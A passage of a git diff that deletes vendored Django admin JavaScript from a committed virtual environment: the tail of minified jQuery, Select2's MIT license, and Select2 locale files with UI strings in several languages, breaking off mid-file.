c,f,p,n,d,r,h,g,i,o,v=ce.ajaxSetup({},t),y=v.context||v,m=v.context&&(y.nodeType||y.jquery)?ce(y):ce.event,x=ce.Deferred(),b=ce.Callbacks("once memory"),w=v.statusCode||{},a={},s={},u="canceled",T={readyState:0,getResponseHeader:function(e){var t;if(h){if(!n){n={};while(t=Wt.exec(p))n[t[1].toLowerCase()+" "]=(n[t[1].toLowerCase()+" "]||[]).concat(t[2])}t=n[e.toLowerCase()+" "]}return null==t?null:t.join(", ")},getAllResponseHeaders:function(){return h?p:null},setRequestHeader:function(e,t){return null==h&&(e=s[e.toLowerCase()]=s[e.toLowerCase()]||e,a[e]=t),this},overrideMimeType:function(e){return null==h&&(v.mimeType=e),this},statusCode:function(e){var t;if(e)if(h)T.always(e[T.status]);else for(t in e)w[t]=[w[t],e[t]];return this},abort:function(e){var t=e||u;return c&&c.abort(t),l(0,t),this}};if(x.promise(T),v.url=((e||v.url||Et.href)+"").replace($t,Et.protocol+"//"),v.type=t.method||t.type||v.method||v.type,v.dataTypes=(v.dataType||"*").toLowerCase().match(D)||[""],null==v.crossDomain){r=C.createElement("a");try{r.href=v.url,r.href=r.href,v.crossDomain=Xt.protocol+"//"+Xt.host!=r.protocol+"//"+r.host}catch(e){v.crossDomain=!0}}if(v.data&&v.processData&&"string"!=typeof v.data&&(v.data=ce.param(v.data,v.traditional)),Vt(Bt,v,t,T),h)return T;for(i in(g=ce.event&&v.global)&&0==ce.active++&&ce.event.trigger("ajaxStart"),v.type=v.type.toUpperCase(),v.hasContent=!Ft.test(v.type),f=v.url.replace(Rt,""),v.hasContent?v.data&&v.processData&&0===(v.contentType||"").indexOf("application/x-www-form-urlencoded")&&(v.data=v.data.replace(Mt,"+")):(o=v.url.slice(f.length),v.data&&(v.processData||"string"==typeof v.data)&&(f+=(At.test(f)?"&":"?")+v.data,delete v.data),!1===v.cache&&(f=f.replace(It,"$1"),o=(At.test(f)?"&":"?")+"_="+jt.guid+++o),v.url=f+o),v.ifModified&&(ce.lastModified[f]&&T.setRequestHeader("If-Modified-Since",ce.lastModified[f]),ce.etag[f]&&T.setRequestHeader("If-None-Match",ce.etag[f])),(v.data&&v.hasContent&&!1!==v.contentType||t.contentType)&&T.setRequestHeader("Content-Type",v.contentType),T.setRequestHeader("Accept",v.dataTypes[0]&&v.accepts[v.dataTypes[0]]?v.accepts[v.dataTypes[0]]+("*"!==v.dataTypes[0]?", "+zt+"; q=0.01":""):v.accepts["*"]),v.headers)T.setRequestHeader(i,v.headers[i]);if(v.beforeSend&&(!1===v.beforeSend.call(y,T,v)||h))return T.abort();if(u="abort",b.add(v.complete),T.done(v.success),T.fail(v.error),c=Vt(_t,v,t,T)){if(T.readyState=1,g&&m.trigger("ajaxSend",[T,v]),h)return T;v.async&&0<v.timeout&&(d=ie.setTimeout(function(){T.abort("timeout")},v.timeout));try{h=!1,c.send(a,l)}catch(e){if(h)throw e;l(-1,e)}}else l(-1,"No Transport");function l(e,t,n,r){var i,o,a,s,u,l=t;h||(h=!0,d&&ie.clearTimeout(d),c=void 0,p=r||"",T.readyState=0<e?4:0,i=200<=e&&e<300||304===e,n&&(s=function(e,t,n){var r,i,o,a,s=e.contents,u=e.dataTypes;while("*"===u[0])u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader("Content-Type"));if(r)for(i in s)if(s[i]&&s[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+" "+u[0]]){o=i;break}a||(a=i)}o=o||a}if(o)return o!==u[0]&&u.unshift(o),n[o]}(v,T,n)),!i&&-1<ce.inArray("script",v.dataTypes)&&ce.inArray("json",v.dataTypes)<0&&(v.converters["text script"]=function(){}),s=function(e,t,n,r){var i,o,a,s,u,l={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)l[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if("*"===o)o=u;else if("*"!==u&&u!==o){if(!(a=l[u+" "+o]||l["* "+o]))for(i in l)if((s=i.split(" "))[1]===o&&(a=l[u+" "+s[0]]||l["* "+s[0]])){!0===a?a=l[i]:!0!==l[i]&&(o=s[0],c.unshift(s[1]));break}if(!0!==a)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(e){return{state:"parsererror",error:a?e:"No conversion from "+u+" to "+o}}}return{state:"success",data:t}}(v,s,T,i),i?(v.ifModified&&((u=T.getResponseHeader("Last-Modified"))&&(ce.lastModified[f]=u),(u=T.getResponseHeader("etag"))&&(ce.etag[f]=u)),204===e||"HEAD"===v.type?l="nocontent":304===e?l="notmodified":(l=s.state,o=s.data,i=!(a=s.error))):(a=l,!e&&l||(l="error",e<0&&(e=0))),T.status=e,T.statusText=(t||l)+"",i?x.resolveWith(y,[o,l,T]):x.rejectWith(y,[T,l,a]),T.statusCode(w),w=void 0,g&&m.trigger(i?"ajaxSuccess":"ajaxError",[T,v,i?o:a]),b.fireWith(y,[T,l]),g&&(m.trigger("ajaxComplete",[T,v]),--ce.active||ce.event.trigger("ajaxStop")))}return T},getJSON:function(e,t,n){return ce.get(e,t,n,"json")},getScript:function(e,t){return ce.get(e,void 0,t,"script")}}),ce.each(["get","post"],function(e,i){ce[i]=function(e,t,n,r){return v(t)&&(r=r||n,n=t,t=void 0),ce.ajax(ce.extend({url:e,type:i,dataType:r,data:t,success:n},ce.isPlainObject(e)&&e))}}),ce.ajaxPrefilter(function(e){var t;for(t in e.headers)"content-type"===t.toLowerCase()&&(e.contentType=e.headers[t]||"")}),ce._evalUrl=function(e,t,n){return ce.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,converters:{"text script":function(){}},dataFilter:function(e){ce.globalEval(e,t,n)}})},ce.fn.extend({wrapAll:function(e){var t;return this[0]&&(v(e)&&(e=e.call(this[0])),t=ce(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(n){return v(n)?this.each(function(e){ce(this).wrapInner(n.call(this,e))}):this.each(function(){var e=ce(this),t=e.contents();t.length?t.wrapAll(n):e.append(n)})},wrap:function(t){var n=v(t);return this.each(function(e){ce(this).wrapAll(n?t.call(this,e):t)})},unwrap:function(e){return this.parent(e).not("body").each(function(){ce(this).replaceWith(this.childNodes)}),this}}),ce.expr.pseudos.hidden=function(e){return!ce.expr.pseudos.visible(e)},ce.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},ce.ajaxSettings.xhr=function(){try{return new ie.XMLHttpRequest}catch(e){}};var Yt={0:200,1223:204},Qt=ce.ajaxSettings.xhr();le.cors=!!Qt&&"withCredentials"in Qt,le.ajax=Qt=!!Qt,ce.ajaxTransport(function(i){var o,a;if(le.cors||Qt&&!i.crossDomain)return{send:function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest"),e)r.setRequestHeader(n,e[n]);o=function(e){return function(){o&&(o=a=r.onload=r.onerror=r.onabort=r.ontimeout=r.onreadystatechange=null,"abort"===e?r.abort():"error"===e?"number"!=typeof r.status?t(0,"error"):t(r.status,r.statusText):t(Yt[r.status]||r.status,r.statusText,"text"!==(r.responseType||"text")||"string"!=typeof r.responseText?{binary:r.response}:{text:r.responseText},r.getAllResponseHeaders()))}},r.onload=o(),a=r.onerror=r.ontimeout=o("error"),void 0!==r.onabort?r.onabort=a:r.onreadystatechange=function(){4===r.readyState&&ie.setTimeout(function(){o&&a()})},o=o("abort");try{r.send(i.hasContent&&i.data||null)}catch(e){if(o)throw e}},abort:function(){o&&o()}}}),ce.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),ce.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return ce.globalEval(e),e}}}),ce.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")}),ce.ajaxTransport("script",function(n){var r,i;if(n.crossDomain||n.scriptAttrs)return{send:function(e,t){r=ce("<script>").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on("load error",i=function(e){r.remove(),i=null,e&&t("error"===e.type?404:200,e.type)}),C.head.appendChild(r[0])},abort:function(){i&&i()}}});var Jt,Kt=[],Zt=/(=)\?(?=&|$)|\?\?/;ce.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Kt.pop()||ce.expando+"_"+jt.guid++;return this[e]=!0,e}}),ce.ajaxPrefilter("json jsonp",function(e,t,n){var r,i,o,a=!1!==e.jsonp&&(Zt.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Zt.test(e.data)&&"data");if(a||"jsonp"===e.dataTypes[0])return r=e.jsonpCallback=v(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Zt,"$1"+r):!1!==e.jsonp&&(e.url+=(At.test(e.url)?"&":"?")+e.jsonp+"="+r),e.converters["script json"]=function(){return o||ce.error(r+" was not called"),o[0]},e.dataTypes[0]="json",i=ie[r],ie[r]=function(){o=arguments},n.always(function(){void 0===i?ce(ie).removeProp(r):ie[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,Kt.push(r)),o&&v(i)&&i(o[0]),o=i=void 0}),"script"}),le.createHTMLDocument=((Jt=C.implementation.createHTMLDocument("").body).innerHTML="<form></form><form></form>",2===Jt.childNodes.length),ce.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(le.createHTMLDocument?((r=(t=C.implementation.createHTMLDocument("")).createElement("base")).href=C.location.href,t.head.appendChild(r)):t=C),o=!n&&[],(i=w.exec(e))?[t.createElement(i[1])]:(i=Ae([e],t,o),o&&o.length&&ce(o).remove(),ce.merge([],i.childNodes)));var r,i,o},ce.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return-1<s&&(r=Tt(e.slice(s)),e=e.slice(0,s)),v(t)?(n=t,t=void 0):t&&"object"==typeof t&&(i="POST"),0<a.length&&ce.ajax({url:e,type:i||"GET",dataType:"html",data:t}).done(function(e){o=arguments,a.html(r?ce("<div>").append(ce.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},ce.expr.pseudos.animated=function(t){return ce.grep(ce.timers,function(e){return t===e.elem}).length},ce.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l=ce.css(e,"position"),c=ce(e),f={};"static"===l&&(e.style.position="relative"),s=c.offset(),o=ce.css(e,"top"),u=ce.css(e,"left"),("absolute"===l||"fixed"===l)&&-1<(o+u).indexOf("auto")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),v(t)&&(t=t.call(e,n,ce.extend({},s))),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):c.css(f)}},ce.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){ce.offset.setOffset(this,t,e)});var e,n,r=this[0];return r?r.getClientRects().length?(e=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:e.top+n.pageYOffset,left:e.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===ce.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===ce.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=ce(e).offset()).top+=ce.css(e,"borderTopWidth",!0),i.left+=ce.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-ce.css(r,"marginTop",!0),left:t.left-i.left-ce.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===ce.css(e,"position"))e=e.offsetParent;return e||J})}}),ce.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(t,i){var o="pageYOffset"===i;ce.fn[t]=function(e){return M(this,function(e,t,n){var r;if(y(e)?r=e:9===e.nodeType&&(r=e.defaultView),void 0===n)return r?r[i]:e[t];r?r.scrollTo(o?r.pageXOffset:n,o?n:r.pageYOffset):e[t]=n},t,e,arguments.length)}}),ce.each(["top","left"],function(e,n){ce.cssHooks[n]=Ye(le.pixelPosition,function(e,t){if(t)return t=Ge(e,n),_e.test(t)?ce(e).position()[n]+"px":t})}),ce.each({Height:"height",Width:"width"},function(a,s){ce.each({padding:"inner"+a,content:s,"":"outer"+a},function(r,o){ce.fn[o]=function(e,t){var n=arguments.length&&(r||"boolean"!=typeof e),i=r||(!0===e||!0===t?"margin":"border");return M(this,function(e,t,n){var r;return y(e)?0===o.indexOf("outer")?e["inner"+a]:e.document.documentElement["client"+a]:9===e.nodeType?(r=e.documentElement,Math.max(e.body["scroll"+a],r["scroll"+a],e.body["offset"+a],r["offset"+a],r["client"+a])):void 0===n?ce.css(e,t,i):ce.style(e,t,n,i)},s,n?e:void 0,n)}})}),ce.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){ce.fn[t]=function(e){return this.on(t,e)}}),ce.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},hover:function(e,t){return this.on("mouseenter",e).on("mouseleave",t||e)}}),ce.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,n){ce.fn[n]=function(e,t){return 0<arguments.length?this.on(n,null,e,t):this.trigger(n)}});var en=/^[\s\uFEFF\xA0]+|([^\s\uFEFF\xA0])[\s\uFEFF\xA0]+$/g;ce.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),v(e))return r=ae.call(arguments,2),(i=function(){return e.apply(t||this,r.concat(ae.call(arguments)))}).guid=e.guid=e.guid||ce.guid++,i},ce.holdReady=function(e){e?ce.readyWait++:ce.ready(!0)},ce.isArray=Array.isArray,ce.parseJSON=JSON.parse,ce.nodeName=fe,ce.isFunction=v,ce.isWindow=y,ce.camelCase=F,ce.type=x,ce.now=Date.now,ce.isNumeric=function(e){var t=ce.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},ce.trim=function(e){return null==e?"":(e+"").replace(en,"$1")},"function"==typeof define&&define.amd&&define("jquery",[],function(){return ce});var tn=ie.jQuery,nn=ie.$;return ce.noConflict=function(e){return ie.$===ce&&(ie.$=nn),e&&ie.jQuery===ce&&(ie.jQuery=tn),ce},"undefined"==typeof e&&(ie.jQuery=ie.$=ce),ce}); diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/LICENSE.md b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/LICENSE.md deleted file mode 100644 index 8cb8a2b1..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/LICENSE.md +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2012-2017 Kevin Brown, Igor Vaynberg, and Select2 contributors - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/af.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/af.js deleted file mode 100644 index 32e5ac7d..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/af.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/af",[],function(){return{errorLoading:function(){return"Die resultate kon nie gelaai word nie."},inputTooLong:function(e){var n=e.input.length-e.maximum,r="Verwyders asseblief "+n+" character";return 1!=n&&(r+="s"),r},inputTooShort:function(e){return"Voer asseblief "+(e.minimum-e.input.length)+" of meer karakters"},loadingMore:function(){return"Meer resultate word gelaai…"},maximumSelected:function(e){var n="Kies asseblief net "+e.maximum+" item";return 1!=e.maximum&&(n+="s"),n},noResults:function(){return"Geen resultate gevind"},searching:function(){return"Besig…"},removeAllItems:function(){return"Verwyder alle items"}}}),e.define,e.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ar.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ar.js deleted file mode 100644 index 64e1caad..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ar.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/ar",[],function(){return{errorLoading:function(){return"لا يمكن تحميل النتائج"},inputTooLong:function(n){return"الرجاء حذف "+(n.input.length-n.maximum)+" عناصر"},inputTooShort:function(n){return"الرجاء إضافة "+(n.minimum-n.input.length)+" عناصر"},loadingMore:function(){return"جاري تحميل نتائج إضافية..."},maximumSelected:function(n){return"تستطيع إختيار "+n.maximum+" بنود فقط"},noResults:function(){return"لم يتم العثور على أي نتائج"},searching:function(){return"جاري البحث…"},removeAllItems:function(){return"قم بإزالة كل العناصر"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/az.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/az.js deleted file mode 100644 index 1d52c260..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/az.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/az",[],function(){return{inputTooLong:function(n){return n.input.length-n.maximum+" simvol silin"},inputTooShort:function(n){return n.minimum-n.input.length+" simvol daxil edin"},loadingMore:function(){return"Daha çox nəticə yüklənir…"},maximumSelected:function(n){return"Sadəcə "+n.maximum+" element seçə bilərsiniz"},noResults:function(){return"Nəticə tapılmadı"},searching:function(){return"Axtarılır…"},removeAllItems:function(){return"Bütün elementləri sil"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/bg.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/bg.js deleted file mode 100644 index 73b730a7..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/bg.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/bg",[],function(){return{inputTooLong:function(n){var e=n.input.length-n.maximum,u="Моля въведете с "+e+" по-малко символ";return e>1&&(u+="a"),u},inputTooShort:function(n){var e=n.minimum-n.input.length,u="Моля въведете още "+e+" символ";return e>1&&(u+="a"),u},loadingMore:function(){return"Зареждат се още…"},maximumSelected:function(n){var e="Можете да направите до "+n.maximum+" ";return n.maximum>1?e+="избора":e+="избор",e},noResults:function(){return"Няма намерени съвпадения"},searching:function(){return"Търсене…"},removeAllItems:function(){return"Премахнете всички елементи"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/bn.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/bn.js deleted file mode 100644 index 2d17b9d8..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/bn.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/bn",[],function(){return{errorLoading:function(){return"ফলাফলগুলি লোড করা যায়নি।"},inputTooLong:function(n){var e=n.input.length-n.maximum,u="অনুগ্রহ করে "+e+" টি অক্ষর মুছে দিন।";return 1!=e&&(u="অনুগ্রহ করে "+e+" টি অক্ষর মুছে দিন।"),u},inputTooShort:function(n){return n.minimum-n.input.length+" টি অক্ষর অথবা অধিক অক্ষর লিখুন।"},loadingMore:function(){return"আরো ফলাফল লোড হচ্ছে ..."},maximumSelected:function(n){var e=n.maximum+" টি আইটেম নির্বাচন করতে পারবেন।";return 1!=n.maximum&&(e=n.maximum+" টি আইটেম নির্বাচন করতে পারবেন।"),e},noResults:function(){return"কোন ফলাফল পাওয়া যায়নি।"},searching:function(){return"অনুসন্ধান করা হচ্ছে ..."}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/bs.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/bs.js deleted file mode 100644 index 46b084d7..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/bs.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/bs",[],function(){function e(e,n,r,t){return e%10==1&&e%100!=11?n:e%10>=2&&e%10<=4&&(e%100<12||e%100>14)?r:t}return{errorLoading:function(){return"Preuzimanje nije uspijelo."},inputTooLong:function(n){var r=n.input.length-n.maximum,t="Obrišite "+r+" simbol";return t+=e(r,"","a","a")},inputTooShort:function(n){var r=n.minimum-n.input.length,t="Ukucajte bar još "+r+" simbol";return t+=e(r,"","a","a")},loadingMore:function(){return"Preuzimanje još rezultata…"},maximumSelected:function(n){var r="Možete izabrati samo "+n.maximum+" stavk";return r+=e(n.maximum,"u","e","i")},noResults:function(){return"Ništa nije pronađeno"},searching:function(){return"Pretraga…"},removeAllItems:function(){return"Uklonite sve stavke"}}}),e.define,e.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ca.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ca.js deleted file mode 100644 index 82dbbb7a..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ca.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/ca",[],function(){return{errorLoading:function(){return"La càrrega ha fallat"},inputTooLong:function(e){var n=e.input.length-e.maximum,r="Si us plau, elimina "+n+" car";return r+=1==n?"àcter":"àcters"},inputTooShort:function(e){var n=e.minimum-e.input.length,r="Si us plau, introdueix "+n+" car";return r+=1==n?"àcter":"àcters"},loadingMore:function(){return"Carregant més resultats…"},maximumSelected:function(e){var n="Només es pot seleccionar "+e.maximum+" element";return 1!=e.maximum&&(n+="s"),n},noResults:function(){return"No s'han trobat resultats"},searching:function(){return"Cercant…"},removeAllItems:function(){return"Treu tots els elements"}}}),e.define,e.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/cs.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/cs.js deleted file mode 100644 index 7116d6c1..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/cs.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/cs",[],function(){function e(e,n){switch(e){case 2:return n?"dva":"dvě";case 3:return"tři";case 4:return"čtyři"}return""}return{errorLoading:function(){return"Výsledky nemohly být načteny."},inputTooLong:function(n){var t=n.input.length-n.maximum;return 1==t?"Prosím, zadejte o jeden znak méně.":t<=4?"Prosím, zadejte o "+e(t,!0)+" znaky méně.":"Prosím, zadejte o "+t+" znaků méně."},inputTooShort:function(n){var t=n.minimum-n.input.length;return 1==t?"Prosím, zadejte ještě jeden znak.":t<=4?"Prosím, zadejte ještě další "+e(t,!0)+" znaky.":"Prosím, zadejte ještě dalších "+t+" znaků."},loadingMore:function(){return"Načítají se další výsledky…"},maximumSelected:function(n){var t=n.maximum;return 1==t?"Můžete zvolit jen jednu položku.":t<=4?"Můžete zvolit maximálně "+e(t,!1)+" položky.":"Můžete zvolit maximálně "+t+" položek."},noResults:function(){return"Nenalezeny žádné položky."},searching:function(){return"Vyhledávání…"},removeAllItems:function(){return"Odstraňte všechny položky"}}}),e.define,e.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/da.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/da.js deleted file mode 100644 index cda32c34..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/da.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/da",[],function(){return{errorLoading:function(){return"Resultaterne kunne ikke indlæses."},inputTooLong:function(e){return"Angiv venligst "+(e.input.length-e.maximum)+" tegn mindre"},inputTooShort:function(e){return"Angiv venligst "+(e.minimum-e.input.length)+" tegn mere"},loadingMore:function(){return"Indlæser flere resultater…"},maximumSelected:function(e){var n="Du kan kun vælge "+e.maximum+" emne";return 1!=e.maximum&&(n+="r"),n},noResults:function(){return"Ingen resultater fundet"},searching:function(){return"Søger…"},removeAllItems:function(){return"Fjern alle elementer"}}}),e.define,e.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/de.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/de.js deleted file mode 100644 index c2e61e58..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/de.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/de",[],function(){return{errorLoading:function(){return"Die Ergebnisse konnten nicht geladen werden."},inputTooLong:function(e){return"Bitte "+(e.input.length-e.maximum)+" Zeichen weniger eingeben"},inputTooShort:function(e){return"Bitte "+(e.minimum-e.input.length)+" Zeichen mehr eingeben"},loadingMore:function(){return"Lade mehr Ergebnisse…"},maximumSelected:function(e){var n="Sie können nur "+e.maximum+" Element";return 1!=e.maximum&&(n+="e"),n+=" auswählen"},noResults:function(){return"Keine Übereinstimmungen gefunden"},searching:function(){return"Suche…"},removeAllItems:function(){return"Entferne alle 